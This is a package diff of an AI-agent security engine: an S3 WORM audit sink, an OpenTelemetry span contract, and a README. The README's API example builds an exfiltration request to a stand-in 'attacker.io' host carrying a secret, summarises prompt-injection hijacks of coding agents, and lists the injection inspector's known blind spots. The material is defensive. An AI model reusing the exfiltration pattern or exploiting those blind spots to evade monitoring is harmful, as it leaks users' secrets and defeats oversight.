xtrom-engine 0.3.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,325 @@
1
+ """
2
+ WORM audit sink backed by S3 Object Lock (Compliance mode).
3
+
4
+ Implements :class:`xtrom.interfaces.CorpusSink` for the customer-visible audit
5
+ trail. The key property: once an event lands in S3, **no principal — including
6
+ the AWS root account — can delete or overwrite it** until the retention
7
+ envelope elapses. That is what "WORM" (write-once-read-many) actually means,
8
+ and it is why we choose Object Lock Compliance mode over Governance mode.
9
+
10
+ Design notes
11
+ ------------
12
+
13
+ * **Object key layout** — ``{prefix}/tenant={tenant}/kind={kind}/dt={YYYY-MM-DD}/{event_id}.json``
14
+ Predictable prefixes give us cheap tenant-scoped ``list_objects_v2`` for
15
+ :meth:`query` without needing an index. Date partitioning caps the width
16
+ of a hot prefix (~86k events/day at 1 Hz is well under S3 request limits).
17
+
18
+ * **Retention envelope** — every write attaches an ``x-amz-object-lock-*``
19
+ header carrying an absolute ``retain_until`` timestamp derived from the
20
+ tenant's configured retention (e.g. 7 years for financial compliance).
21
+ Sinks NEVER read wall-clock time on the write path other than to compute
22
+ this envelope from a caller-supplied ``event.ts_iso``. Invariant #1
23
+ survives because the sink is not on the enforcement path — the engine
24
+ emits events; the sink persists them out-of-band.
25
+
26
+ * **Idempotence** — S3 puts with the same key are naturally idempotent
27
+ provided the caller does not provide an ``If-None-Match: *`` header
28
+ (which we do, guarded by an ``existing_key`` catch — see :meth:`_put`).
29
+ Duplicate ``event_id`` is a no-op, not a failure.
30
+
31
+ * **Cross-tenant isolation** — :meth:`query` refuses to fabricate its own
32
+ prefix; the ``tenant`` argument is required and injected verbatim.
33
+ Attempts to smuggle ``../`` are rejected by :func:`_safe_component`.
34
+
35
+ * **Test double** — for unit tests we ship
36
+ :class:`InMemoryWormAuditSink` which enforces the same append-only,
37
+ retention-envelope, and tenant-scoping guarantees the S3 backend gives
38
+ us. CI runs this against the same contract tests as the real backend.
39
+
40
+ * **boto3 is imported lazily** — importing this module without ``boto3``
41
+ installed must not blow up (local dev, doc build). Only :meth:`__init__`
42
+ of :class:`S3WormAuditSink` requires it.
43
+
44
+ References
45
+ ----------
46
+ * AWS: `S3 Object Lock` (docs/awsdoc/latest/userguide/object-lock.html)
47
+ * Xtrom: `CorpusSink` ABC — invariant #3 (replayability), append-only.
48
+ """
49
+ from __future__ import annotations
50
+
51
+ import json
52
+ import re
53
+ from dataclasses import dataclass, field
54
+ from datetime import datetime, timedelta, timezone
55
+ from typing import Any, Iterable
56
+
57
+ from xtrom.interfaces import CorpusEvent, CorpusSink, CorpusSinkError
58
+
59
+
60
+ _SAFE_COMPONENT = re.compile(r"^[a-z0-9][a-z0-9-]{0,63}$")
61
+
62
+
63
+ def _safe_component(name: str, field: str) -> str:
64
+ """Refuse S3-key components that would escape the tenant scope.
65
+
66
+ Anything not matching a strict kebab-case lowercase pattern is rejected
67
+ at the sink boundary. Cross-tenant leakage via ``../`` or Unicode
68
+ lookalikes is a Sev-1 class of bug; we make it un-representable.
69
+ """
70
+ if not _SAFE_COMPONENT.match(name):
71
+ raise CorpusSinkError(f"unsafe {field}: {name!r}")
72
+ return name
73
+
74
+
75
+ @dataclass(frozen=True)
76
+ class RetentionPolicy:
77
+ """How long a WORM event must be retained.
78
+
79
+ ``days`` is the default (region-agnostic) minimum retention. Per-region
80
+ overrides land in :attr:`per_region_days` — for example ``{"eu-west-1":
81
+ 2555}`` to satisfy a 7-year EU financial-services retention when a
82
+ tenant residency-pins its bucket to Ireland while the account default
83
+ is shorter.
84
+
85
+ Zero and negatives are refused for both the default and any override —
86
+ a WORM sink with no retention is a lie.
87
+ """
88
+ days: int
89
+ per_region_days: dict[str, int] = field(default_factory=dict)
90
+
91
+ def __post_init__(self) -> None:
92
+ if self.days <= 0 or self.days > 36_500:
93
+ raise CorpusSinkError("retention.days must be in (0, 36500]")
94
+ for region, d in self.per_region_days.items():
95
+ if not isinstance(region, str) or not region:
96
+ raise CorpusSinkError(f"per_region_days key {region!r} must be non-empty str")
97
+ if not isinstance(d, int) or d <= 0 or d > 36_500:
98
+ raise CorpusSinkError(
99
+ f"per_region_days[{region!r}] must be int in (0, 36500]"
100
+ )
101
+
102
+ def days_for(self, region: str | None) -> int:
103
+ if region and region in self.per_region_days:
104
+ return self.per_region_days[region]
105
+ return self.days
106
+
107
+ def retain_until(self, now_utc: datetime, region: str | None = None) -> datetime:
108
+ return now_utc + timedelta(days=self.days_for(region))
109
+
110
+
111
+ def _key_for(prefix: str, event: CorpusEvent) -> str:
112
+ tenant = _safe_component(event.tenant, "tenant")
113
+ kind = _safe_component(event.kind, "kind")
114
+ date = event.ts_iso[:10] # YYYY-MM-DD — validated below
115
+ if not re.match(r"^\d{4}-\d{2}-\d{2}$", date):
116
+ raise CorpusSinkError(f"ts_iso lacks YYYY-MM-DD prefix: {event.ts_iso!r}")
117
+ eid = _safe_component(event.event_id.lower(), "event_id")
118
+ return f"{prefix.rstrip('/')}/tenant={tenant}/kind={kind}/dt={date}/{eid}.json"
119
+
120
+
121
+ def _serialize(event: CorpusEvent) -> bytes:
122
+ body = {
123
+ "event_id": event.event_id,
124
+ "tenant": event.tenant,
125
+ "actor": event.actor,
126
+ "kind": event.kind,
127
+ "ts_iso": event.ts_iso,
128
+ "policy_version": event.policy_version,
129
+ "payload": event.payload,
130
+ }
131
+ return json.dumps(body, sort_keys=True, separators=(",", ":")).encode()
132
+
133
+
134
+ def _deserialize(blob: bytes) -> CorpusEvent:
135
+ obj = json.loads(blob.decode())
136
+ return CorpusEvent(
137
+ event_id=obj["event_id"],
138
+ tenant=obj["tenant"],
139
+ actor=obj["actor"],
140
+ kind=obj["kind"],
141
+ ts_iso=obj["ts_iso"],
142
+ policy_version=int(obj["policy_version"]),
143
+ payload=obj.get("payload", {}),
144
+ )
145
+
146
+
147
+ # ── in-memory reference (test double + contract fixture) ─────────────────
148
+ @dataclass
149
+ class InMemoryWormAuditSink(CorpusSink):
150
+ """In-memory WORM sink. Same invariants as the S3 backend.
151
+
152
+ Used in CI and for anything that shouldn't require AWS credentials
153
+ (docs build). ``region`` is honoured for retention
154
+ override, exactly as in the S3 backend.
155
+ """
156
+ retention: RetentionPolicy
157
+ region: str | None = None
158
+ _events: dict[str, tuple[bytes, datetime]] = field(default_factory=dict)
159
+
160
+ def write(self, event: CorpusEvent) -> None:
161
+ key = _key_for("mem", event)
162
+ if key in self._events:
163
+ return # idempotent duplicate — no-op.
164
+ try:
165
+ now = datetime.fromisoformat(event.ts_iso.replace("Z", "+00:00"))
166
+ except ValueError as ex:
167
+ raise CorpusSinkError(f"bad ts_iso: {event.ts_iso!r}") from ex
168
+ retain_until = self.retention.retain_until(
169
+ now.astimezone(timezone.utc), region=self.region,
170
+ )
171
+ self._events[key] = (_serialize(event), retain_until)
172
+
173
+ def write_batch(self, events: Iterable[CorpusEvent]) -> None:
174
+ failed: list[str] = []
175
+ for e in events:
176
+ try:
177
+ self.write(e)
178
+ except CorpusSinkError:
179
+ failed.append(e.event_id)
180
+ if failed:
181
+ raise CorpusSinkError(f"failed event_ids: {failed}")
182
+
183
+ def query(
184
+ self,
185
+ tenant: str,
186
+ *,
187
+ kind: str | None = None,
188
+ since_ts: str | None = None,
189
+ until_ts: str | None = None,
190
+ limit: int = 100,
191
+ ) -> Iterable[CorpusEvent]:
192
+ tenant = _safe_component(tenant, "tenant")
193
+ needle_prefix = f"mem/tenant={tenant}/"
194
+ out: list[CorpusEvent] = []
195
+ for key, (blob, _ru) in sorted(self._events.items()):
196
+ if not key.startswith(needle_prefix):
197
+ continue
198
+ ev = _deserialize(blob)
199
+ if kind and ev.kind != kind:
200
+ continue
201
+ if since_ts and ev.ts_iso < since_ts:
202
+ continue
203
+ if until_ts and ev.ts_iso >= until_ts:
204
+ continue
205
+ out.append(ev)
206
+ if len(out) >= max(1, int(limit)):
207
+ break
208
+ return out
209
+
210
+ # ── S3 Object Lock backend ───────────────────────────────────────────────
211
+ @dataclass
212
+ class S3WormAuditSink(CorpusSink):
213
+ """Real backend. boto3 is imported inside ``__init__`` to keep the
214
+ module import-safe without AWS deps installed.
215
+
216
+ The bucket MUST be created with Object Lock enabled (S3 refuses to
217
+ enable it after bucket creation — this is a hard requirement from AWS).
218
+ Terraform for the bucket lives in
219
+ ``product/xtrom-infra/modules/audit_worm/`` (follow-up commit — the
220
+ module is a simple bucket + Object Lock config, published under BSL 1.1).
221
+
222
+ Multi-region residency
223
+ ----------------------
224
+
225
+ A single Xtrom deployment may operate audit buckets in multiple AWS
226
+ regions to satisfy tenant data-residency requirements (EU tenants pin
227
+ to ``eu-west-1``, APAC to ``ap-southeast-2``, etc.). ``region`` is
228
+ *informational metadata* on this sink — it does not change the AWS
229
+ endpoint (that's the boto3 client's job) but it drives the retention
230
+ envelope via :meth:`RetentionPolicy.days_for`. This lets one policy
231
+ object encode "7 years in EU, 3 years in US" without a second sink
232
+ subclass.
233
+ """
234
+ bucket: str
235
+ prefix: str
236
+ retention: RetentionPolicy
237
+ #: AWS region the bucket lives in. Used only to select a retention
238
+ #: override — the boto3 client is responsible for endpoint routing.
239
+ region: str | None = None
240
+ _client: Any = None
241
+
242
+ def __post_init__(self) -> None:
243
+ if self._client is None:
244
+ try:
245
+ import boto3 # noqa: PLC0415 — lazy import is deliberate
246
+ except ImportError as ex:
247
+ raise CorpusSinkError("boto3 required for S3WormAuditSink") from ex
248
+ self._client = boto3.client("s3")
249
+ if not self.bucket:
250
+ raise CorpusSinkError("bucket required")
251
+ _safe_component(self.prefix.strip("/").split("/")[0], "prefix root")
252
+ if self.region is not None:
253
+ # Region strings are AWS-controlled — allow the usual shape.
254
+ if not re.match(r"^[a-z]{2}-[a-z]+-\d$", self.region):
255
+ raise CorpusSinkError(f"invalid AWS region: {self.region!r}")
256
+
257
+ def write(self, event: CorpusEvent) -> None:
258
+ key = _key_for(self.prefix, event)
259
+ try:
260
+ now = datetime.fromisoformat(event.ts_iso.replace("Z", "+00:00"))
261
+ except ValueError as ex:
262
+ raise CorpusSinkError(f"bad ts_iso: {event.ts_iso!r}") from ex
263
+ retain_until = self.retention.retain_until(
264
+ now.astimezone(timezone.utc), region=self.region,
265
+ )
266
+ try:
267
+ self._client.put_object(
268
+ Bucket=self.bucket,
269
+ Key=key,
270
+ Body=_serialize(event),
271
+ ContentType="application/json",
272
+ ObjectLockMode="COMPLIANCE",
273
+ ObjectLockRetainUntilDate=retain_until,
274
+ IfNoneMatch="*", # idempotent — duplicate event_id becomes a no-op
275
+ )
276
+ except self._client.exceptions.ClientError as ex: # pragma: no cover
277
+ code = getattr(ex, "response", {}).get("Error", {}).get("Code", "")
278
+ if code in {"PreconditionFailed", "412"}:
279
+ return # duplicate — invariant preserved
280
+ raise CorpusSinkError(f"put_object failed: {code}") from ex
281
+
282
+ def write_batch(self, events: Iterable[CorpusEvent]) -> None:
283
+ failed: list[str] = []
284
+ for e in events:
285
+ try:
286
+ self.write(e)
287
+ except CorpusSinkError:
288
+ failed.append(e.event_id)
289
+ if failed:
290
+ raise CorpusSinkError(f"failed event_ids: {failed}")
291
+
292
+ def query(
293
+ self,
294
+ tenant: str,
295
+ *,
296
+ kind: str | None = None,
297
+ since_ts: str | None = None,
298
+ until_ts: str | None = None,
299
+ limit: int = 100,
300
+ ) -> Iterable[CorpusEvent]:
301
+ tenant = _safe_component(tenant, "tenant")
302
+ listing_prefix = f"{self.prefix.rstrip('/')}/tenant={tenant}/"
303
+ if kind is not None:
304
+ listing_prefix += f"kind={_safe_component(kind, 'kind')}/"
305
+ out: list[CorpusEvent] = []
306
+ paginator = self._client.get_paginator("list_objects_v2")
307
+ for page in paginator.paginate(Bucket=self.bucket, Prefix=listing_prefix):
308
+ for obj in page.get("Contents", []) or []:
309
+ blob = self._client.get_object(Bucket=self.bucket, Key=obj["Key"])["Body"].read()
310
+ ev = _deserialize(blob)
311
+ if since_ts and ev.ts_iso < since_ts:
312
+ continue
313
+ if until_ts and ev.ts_iso >= until_ts:
314
+ continue
315
+ out.append(ev)
316
+ if len(out) >= max(1, int(limit)):
317
+ return out
318
+ return out
319
+
320
+
321
+ __all__ = [
322
+ "InMemoryWormAuditSink",
323
+ "RetentionPolicy",
324
+ "S3WormAuditSink",
325
+ ]
@@ -0,0 +1,169 @@
1
+ """
2
+ Frozen OpenTelemetry span shape for enforcement decisions.
3
+
4
+ The **span name** and **attribute keys** shipped here are part of the
5
+ customer-visible wire contract. A SIEM, a Grafana dashboard, or a
6
+ downstream alerting rule may pin on them — any change is a breaking
7
+ change and requires a v2 span shape.
8
+
9
+ Design principles
10
+ -----------------
11
+
12
+ * **No PII, no argument values.** The span carries the *decision*, not
13
+ the data that produced it. Argument values, tenant secrets, request
14
+ bodies — all remain in the WORM audit sink where retention and
15
+ access control apply. The span is for observability, not evidence.
16
+
17
+ * **No allocation on the enforcement hot path.** The span constructor
18
+ is a plain dataclass and does not open, format, or otherwise commit
19
+ to a backend. Callers inject an :class:`SpanExporter` — the runtime
20
+ can be a stub (tests), stdout (dev), or OTLP (production).
21
+
22
+ * **Fail-open on the exporter, fail-closed on the decision.** If the
23
+ exporter raises, we swallow (observability failures must not change
24
+ the verdict — invariant #1). If the decision cannot be produced we
25
+ BLOCK; if the span cannot be emitted we log and continue.
26
+
27
+ The attribute vocabulary here matches the `xtrom.*` semantic namespace
28
+ we register with OpenTelemetry's semconv working group (draft:
29
+ `xtrom.enforcement.*`).
30
+ """
31
+ from __future__ import annotations
32
+
33
+ from dataclasses import dataclass, field
34
+ from typing import Any, Protocol
35
+
36
+ #: Span name is a frozen wire contract. Do not change without a v2 shape.
37
+ SPAN_NAME = "xtrom.enforcement.decide"
38
+
39
+ #: The exact, frozen list of attribute keys this span emits. Downstream
40
+ #: consumers may pin on this set — additions are safe, removals or
41
+ #: renames are breaking. See ``xtrom.telemetry.v1`` — future v2 will
42
+ #: live under ``xtrom.telemetry.v2`` with a distinct span name.
43
+ ATTRIBUTE_KEYS: tuple[str, ...] = (
44
+ "xtrom.schema_version",
45
+ "xtrom.tenant",
46
+ "xtrom.agent",
47
+ "xtrom.action",
48
+ "xtrom.verdict",
49
+ "xtrom.reason_code",
50
+ "xtrom.policy_version",
51
+ "xtrom.env",
52
+ )
53
+
54
+ #: A stable set of forbidden attribute keys — anything matching these
55
+ #: patterns must never land on an enforcement span. Used by the
56
+ #: :func:`validate` guard below and by the CI static scan.
57
+ FORBIDDEN_KEY_PREFIXES: tuple[str, ...] = (
58
+ "http.request.body",
59
+ "http.response.body",
60
+ "db.statement",
61
+ "aws.secret",
62
+ "xtrom.arg.",
63
+ "xtrom.identity.token",
64
+ "xtrom.pii.",
65
+ )
66
+
67
+
68
+ class TelemetryError(Exception):
69
+ """Raised when a span violates the frozen wire contract."""
70
+
71
+
72
+ @dataclass(frozen=True)
73
+ class AuditSpan:
74
+ """The single span shape emitted per enforcement decision.
75
+
76
+ This dataclass is the *shape* — it is not an OTel span object. The
77
+ caller passes an :class:`SpanExporter` to :meth:`emit` which
78
+ converts it to whatever the runtime SDK expects.
79
+ """
80
+
81
+ tenant: str
82
+ agent: str
83
+ action: str
84
+ verdict: str
85
+ reason_code: str
86
+ policy_version: int
87
+ env: str
88
+ schema_version: str = "v1"
89
+ #: Free-form annotation the console can render alongside the row.
90
+ #: MUST NOT contain PII or argument values — see
91
+ #: :attr:`FORBIDDEN_KEY_PREFIXES`. Enforced by :meth:`validate`.
92
+ extra: dict[str, str] = field(default_factory=dict)
93
+
94
+ def as_attributes(self) -> dict[str, Any]:
95
+ """Return the attribute dict in canonical OTel key form.
96
+
97
+ Order is stable (insertion order matches :data:`ATTRIBUTE_KEYS`)
98
+ so exporters that serialize dictionaries deterministically
99
+ (e.g. protobuf) produce byte-identical output for identical
100
+ decisions — an invariant #3 corollary.
101
+ """
102
+ return {
103
+ "xtrom.schema_version": self.schema_version,
104
+ "xtrom.tenant": self.tenant,
105
+ "xtrom.agent": self.agent,
106
+ "xtrom.action": self.action,
107
+ "xtrom.verdict": self.verdict,
108
+ "xtrom.reason_code": self.reason_code,
109
+ "xtrom.policy_version": self.policy_version,
110
+ "xtrom.env": self.env,
111
+ **{f"xtrom.extra.{k}": v for k, v in self.extra.items()},
112
+ }
113
+
114
+ def validate(self) -> None:
115
+ """Reject any span that would violate the wire contract.
116
+
117
+ Called by :meth:`emit` before hand-off to the exporter.
118
+ """
119
+ for field_name in ("tenant", "agent", "action", "verdict",
120
+ "reason_code", "env", "schema_version"):
121
+ v = getattr(self, field_name)
122
+ if not isinstance(v, str) or not v:
123
+ raise TelemetryError(f"{field_name!r} must be non-empty str, got {v!r}")
124
+ if not isinstance(self.policy_version, int) or self.policy_version < 0:
125
+ raise TelemetryError("policy_version must be a non-negative int")
126
+ for k in self.extra:
127
+ for banned in FORBIDDEN_KEY_PREFIXES:
128
+ if k.startswith(banned.removeprefix("xtrom.extra.")):
129
+ raise TelemetryError(
130
+ f"extra attribute {k!r} matches forbidden prefix {banned!r}"
131
+ )
132
+
133
+ def emit(self, exporter: SpanExporter) -> None:
134
+ """Validate, then hand off to the caller-provided exporter.
135
+
136
+ Exporter exceptions are swallowed — observability failures MUST
137
+ NOT change the enforcement verdict (invariant #1). Consumers
138
+ who want strict behaviour can wrap the exporter themselves.
139
+ """
140
+ self.validate()
141
+ try:
142
+ exporter.export(SPAN_NAME, self.as_attributes())
143
+ except Exception: # noqa: BLE001
144
+ # Silent by design: observability path is out-of-band.
145
+ # Logging happens in the exporter's own error path.
146
+ return
147
+
148
+
149
+ class SpanExporter(Protocol):
150
+ """Injectable exporter — real runtimes plug in OTel here."""
151
+
152
+ def export(self, name: str, attributes: dict[str, Any]) -> None: # pragma: no cover
153
+ ...
154
+
155
+
156
+ class InMemorySpanExporter:
157
+ """Test double: captures every emitted span for later assertion."""
158
+
159
+ def __init__(self) -> None:
160
+ self.spans: list[tuple[str, dict[str, Any]]] = []
161
+
162
+ def export(self, name: str, attributes: dict[str, Any]) -> None:
163
+ self.spans.append((name, dict(attributes)))
164
+
165
+
166
+ __all__ = [
167
+ "ATTRIBUTE_KEYS", "AuditSpan", "FORBIDDEN_KEY_PREFIXES",
168
+ "InMemorySpanExporter", "SPAN_NAME", "SpanExporter", "TelemetryError",
169
+ ]
@@ -0,0 +1,142 @@
1
+ Metadata-Version: 2.5
2
+ Name: xtrom-engine
3
+ Version: 0.3.1
4
+ Summary: Deterministic runtime enforcement engine for AI agents (taint/IFC + policy).
5
+ Author: Xtrom
6
+ License: Apache-2.0
7
+ License-File: LICENSE
8
+ Keywords: ai-agents,ifc,mcp,prompt-injection,security,taint-tracking
9
+ Requires-Python: >=3.10
10
+ Provides-Extra: dev
11
+ Requires-Dist: pytest>=8; extra == 'dev'
12
+ Description-Content-Type: text/markdown
13
+
14
+ # xtrom-engine
15
+
16
+ ![license](https://img.shields.io/badge/license-Apache--2.0-blue) ![tests](https://img.shields.io/badge/tests-14%2F14-brightgreen) ![deps](https://img.shields.io/badge/runtime%20deps-0-brightgreen) ![python](https://img.shields.io/badge/python-3.10%2B-blue)
17
+
18
+ **Deterministic runtime enforcement for AI agents.** The security-critical core of Xtrom: it tracks data **provenance** (taint / information-flow control) and enforces policy at the tool-call boundary, so untrusted data can never parameterize a sensitive action and secrets can never leave via a non-allowlisted egress — *regardless of how the request is worded.*
19
+
20
+ This is the productized form of the CaMeL / IFC research line — a **guarantee, not a guess**. No ML required for the core guarantee (that's an optional enhancement layer). Zero runtime dependencies.
21
+
22
+ ## Why it matters
23
+ The #1 agentic risk (OWASP ASI01 2026) is goal hijacking via prompt injection — and real 2026 attacks (Agentjacking, Clinejection) hijacked coding agents through poisoned files/tickets. Content filters must *recognise* the malicious text; we make the attack a **data-flow violation** that's blocked structurally.
24
+
25
+ ## The proof (vs. a probabilistic guardrail)
26
+ On a mixed agent-attack corpus, deterministic enforcement wins where classifiers can't (reproduce it: [`../xtrom-benchmark`](../xtrom-benchmark)):
27
+
28
+ | Attack | detector score | guardrail-only | Xtrom | layer |
29
+ |---|---:|---|---|---|
30
+ | indirect-injection exfil | 0.13 | ALLOW ✗ | **BLOCK ✓** | L3 · taint/IFC |
31
+ | secret egress | 0.20 | ALLOW ✗ | **BLOCK ✓** | L3 · secret-egress |
32
+ | out-of-scope tool call | 0.07 | ALLOW ✗ | **BLOCK ✓** | L4 · scope |
33
+ | destructive prod action | 0.04 | ALLOW ✗ | **STEP-UP ✓** | L4 · policy |
34
+ | blatant injection | 0.90 | BLOCK ✓ | **BLOCK ✓** | L3 · taint/IFC |
35
+
36
+ **100% attack containment vs 20% for guardrail-only · 4 deterministic-only catches · 0 false positives.**
37
+
38
+ ## Quickstart
39
+ ```bash
40
+ python3 -m pytest # the deterministic-guarantee, golden-vector and property tests
41
+ python3 demo.py # reproduces the exfil attack → deterministic BLOCK
42
+ ```
43
+
44
+ ## Core API
45
+ ```python
46
+ from xtrom import Engine, Policy
47
+
48
+ eng = Engine(Policy.default(), identity="svc-claude-code", audit_path="audit.jsonl")
49
+
50
+ readme = eng.untrusted(open("README.md").read(), origin="file:README.md") # provenance in
51
+ url = eng.derive("https://attacker.io", [readme], "llm") # taint propagates
52
+ d = eng.authorize("http_post", {"url": url, "body": secret}) # → BLOCK (L3:taint/IFC)
53
+ ```
54
+
55
+ ## What's here vs. the roadmap
56
+ - **Now (v0.1):** taint/IFC engine, deterministic policy (L3/L4), secret detection (L0), immutable audit log, tests, demo.
57
+ - **Next:** MCP gateway adapter, Python/TS SDK middleware (LangGraph/CrewAI/Bedrock), OPA/Rego policy bundles, ITDR (L5) + optional ML detectors (L1/L2). Hot path reimplemented in **Go** for the inline gateway.
58
+
59
+ See `docs/reference/ARCHITECTURE.md` for the full system and repo layout.
60
+
61
+ ## Policy versioning (P1 hardening)
62
+ Every `Decision` carries `policy_version` — the revision string of the bundle that produced it.
63
+ `Engine` is constructed with a `Policy` whose `_meta.revision` propagates onto every decision +
64
+ audit event, so post-hoc audit + SIEM can prove **which policy applied to which action**. The
65
+ Go gateway does the same via its `PolicyCache`; a chaos parity test spawns both engines and
66
+ asserts identical `(verdict, layer, reason_code, policy_version)` on 500 random requests.
67
+
68
+ ## Decision signals v2
69
+ `Decision` carries metadata-only signals (`SIGNALS_SCHEMA_VERSION = 2`) so the control plane can
70
+ measure outcomes without ever seeing argument values: `sink_class` (egress / destructive /
71
+ credential / financial …), `tainted` + `taint_sources` (origin tags such as `mcp:jira`, `web`),
72
+ `secret_in_args`, `context_tainted`, and `latency_us`. `decision_signals(d)` returns exactly that
73
+ allowlisted dict.
74
+
75
+ ## Tool-result inspection
76
+ `inspect_result(value)` looks at what a tool **returned**, reduces it to a closed set of flags and
77
+ never raises. The flags are `instruction` (text addressed to the model), `hidden_unicode`
78
+ (zero-width, bidi or tag characters), `secret` (known credential patterns, with no entropy
79
+ guessing), `pii` (a valid SSN, a Luhn-valid card number, or 5 or more distinct emails) and
80
+ `truncated` (over the 256 KiB scan budget).
81
+
82
+ It is observational: it never changes the verdict of the call that produced the result.
83
+
84
+ - **SDKs and the MCP gateway** report a call that ran once, after it finishes. The event carries
85
+ `result_flags` and `result_bytes`, so each call is still one event.
86
+ - **Later calls** in the same session carry `context_flags`, meaning what the session had already
87
+ ingested.
88
+ - **A steering result** (`instruction` or `hidden_unicode`) taints the session even if the tool
89
+ was not declared a source.
90
+ - **A `secret` result** taints the session too: beyond verbatim containment (a verbatim copy at an
91
+ egress arg still hard-BLOCKs via secret-egress), the session is context-tainted so a *paraphrased /
92
+ reformatted* copy of the credential is stepped-up at the next sink (Rule 2b). Context taint gates
93
+ sinks only, so reads are unaffected. This is enforced identically in the Python/TS SDKs and the
94
+ MCP gateway.
95
+ - **A `truncated` result** also taints the session: content beyond the 256 KiB scan budget is not
96
+ inspected, so the next sink requires approval instead of letting padding become a bypass.
97
+ - **Registered secrets are encoding-resistant.** Broker-minted secrets (`Engine.secret()`) and
98
+ secrets registered through `Policy.register_secret()` are matched in egress args after common
99
+ one-step transforms: base64 / URL-safe base64 (with or without padding), hex, percent-encoding
100
+ and reversed strings. Split/chunked secrets are still out of scope.
101
+
102
+ ### Enforcement contract and known blind spots
103
+ What each flag does to enforcement is a deliberate, tested contract:
104
+
105
+ | flag | effect on later calls |
106
+ |------|-----------------------|
107
+ | `instruction`, `hidden_unicode` | taint the session → next **sink** STEP_UPs (Rule 2b) |
108
+ | `secret` | taint the session (paraphrase STEP_UP) **and** verbatim egress hard-BLOCKs |
109
+ | `pii` | **evidence only** — recorded on the event, does not taint (precision: PII heuristics are lower-confidence; gate bulk-PII egress with explicit policy) |
110
+ | `truncated` | taint the session → next **sink** STEP_UPs, because flags are partial |
111
+
112
+ Documented, accepted blind spots (consistent across all three languages; closing any is a deliberate,
113
+ monitor-mode-first change, not a silent fix): content past the 256 KiB budget is not scanned for the
114
+ `secret`/`instruction` flags (the session is context-tainted and the taint tracker still retains
115
+ head+tail); encoded-secret matching covers common whole-secret transforms but not split/chunked
116
+ secrets; instruction patterns match on ASCII word boundaries, so a non-ASCII tool name in the injected text is not flagged; and PII
117
+ delivered as JSON *numbers* (a bare card/SSN integer) is not detected, since results are full of
118
+ numeric ids and scanning them would be a false-positive magnet.
119
+
120
+ Content never leaves the process. The Python, Go and TypeScript implementations are pinned to
121
+ `result_golden.json`, which `scripts/gen_result_golden.py` generates. Every pattern is bounded, so
122
+ hostile input scans in linear time.
123
+
124
+ - **`strict_ingress=True` is the default** (anti-laundering): verbatim re-wrapping of tainted
125
+ data as "trusted" keeps its taint. Opt out with `Engine(..., strict_ingress=False)`.
126
+ - **Balanced proven-taint mode (opt-in, Python engine only):** with
127
+ `Policy(untrusted_content_stepup=True)`, untrusted data that reaches only *content* args (body,
128
+ amount, subject…) returns `STEP_UP` (`UNTRUSTED_CONTENT_STEPUP`) instead of `BLOCK`. Untrusted
129
+ data in a *destination* arg (`Policy.destination_args`: recipient, url, iban, channel, user…)
130
+ still blocks unless the value is in `Policy.known_destinations`, or is a URL to an allowlisted
131
+ host. Unlabeled args, secret egress and high risk (≥ 0.75) still `BLOCK`. Default is strict.
132
+ - **Rule 2b — context taint:** a sensitive sink reached while the caller reports a tainted context
133
+ returns `STEP_UP` (`CONTEXT_TAINT_STEPUP`) unless the tool is in `Policy.context_taint_exempt`.
134
+ It never weakens a verdict: proven value taint still returns `BLOCK`, and high probabilistic risk
135
+ (≥ 0.75) falls through to the Rule 5 `BLOCK`. Only a read-style `http_fetch` to an allowlisted host
136
+ is exempt — write egress (`http_post`, `send_email`) steps up even to allowlisted hosts, because
137
+ posting private data to a trusted host (public issue / PR) is the canonical trifecta exfil.
138
+
139
+ ## License, security & contributing
140
+ - **License:** [Apache-2.0](LICENSE) — free to use, embed, and extend.
141
+ - **Security:** found a way past the guarantee? That's exactly what we want — see [`../SECURITY.md`](../SECURITY.md) for coordinated disclosure.
142
+ - **Contributing:** [`../CONTRIBUTING.md`](../CONTRIBUTING.md). Rule #1: the guarantee stays deterministic — detectors may only escalate, never downgrade a BLOCK/STEP_UP.
@@ -0,0 +1,19 @@
1
+ xtrom/__init__.py,sha256=EZ7H4FYyYRTOanBiZpPB5-YhdrsuqyFGalRZWUbwit0,447
2
+ xtrom/allowances.py,sha256=f8KXiDPT219DWZ630meUf_aYhMTaoXdBteweOwmae60,3092
3
+ xtrom/cli_fuzz.py,sha256=-uP-TLpvW8mvohijk3Ivd2VA7gp6D0XPgDRjfU66m6g,8126
4
+ xtrom/cli_fuzz_cross.py,sha256=lGTu4uA74gNgc0AiKa3ZFhamRvMkyqFdNZna8bPcd8M,11357
5
+ xtrom/core.py,sha256=P-Lt5AMjqQYvNkM2NlgGn10Pq8pYR3YlfEtjkELx9WE,82895
6
+ xtrom/memory.py,sha256=nJ0MOXjqSswwSJk7FV4FkieuF5J9mYf7uWA949iXm4s,7039
7
+ xtrom/reason_text.json,sha256=LwjX4xMUDD18mW3GXHnpPvrynjN-Vq6qQtF2Jn-zbQ4,2161
8
+ xtrom/brokers/__init__.py,sha256=DLUQK9FVIzzXDTACdNnkpsEeTXsbmOXDbx0M_C1f9KY,9749
9
+ xtrom/brokers/_http.py,sha256=2zBj2-Nrjb9f6a60m_AR45JHhtxNhMKkeD-h3m4Lx7Y,10277
10
+ xtrom/interfaces/__init__.py,sha256=iTmvnKbxFJ3F89TZuuiSNzN7dl1r9I829BmcStrCeVk,1824
11
+ xtrom/interfaces/corpus_sink.py,sha256=AcRhchFhUeDgmpYBLW7fgnLLTzur8By13P3rumHMBdA,5791
12
+ xtrom/interfaces/idp_broker.py,sha256=qaZI-0HjPWFfGv7pat6z_J_YdYU_X3I4dbXoPgsnNt4,5016
13
+ xtrom/interfaces/policy_engine.py,sha256=rZhaHR11THm8w8lz-w6idgLhR5MP0YlpScttZpQiFm4,5085
14
+ xtrom/sinks/__init__.py,sha256=UfeSVOyidO3lZ13fd27-pE9E7n1E2HuDQwPgAa_7DL8,13233
15
+ xtrom/telemetry/__init__.py,sha256=GxSGYeGBaL3GzAylTV8YIRKsimz-JrQ9jbW-B2SjXCI,6343
16
+ xtrom_engine-0.3.1.dist-info/METADATA,sha256=JntShuJ_F4s6XGK1UQFyMnKSuopGBYBwXyz99kKDUQQ,9550
17
+ xtrom_engine-0.3.1.dist-info/WHEEL,sha256=2iZrJkDIkeDh0k9SikKMqFuRP-ua6mb4Ir1AsER4BEw,87
18
+ xtrom_engine-0.3.1.dist-info/licenses/LICENSE,sha256=ltvy_DLBND7TR-VluocJTuckaY3zH8A8kYSR-USEH4E,10570
19
+ xtrom_engine-0.3.1.dist-info/RECORD,,
@@ -0,0 +1,4 @@
1
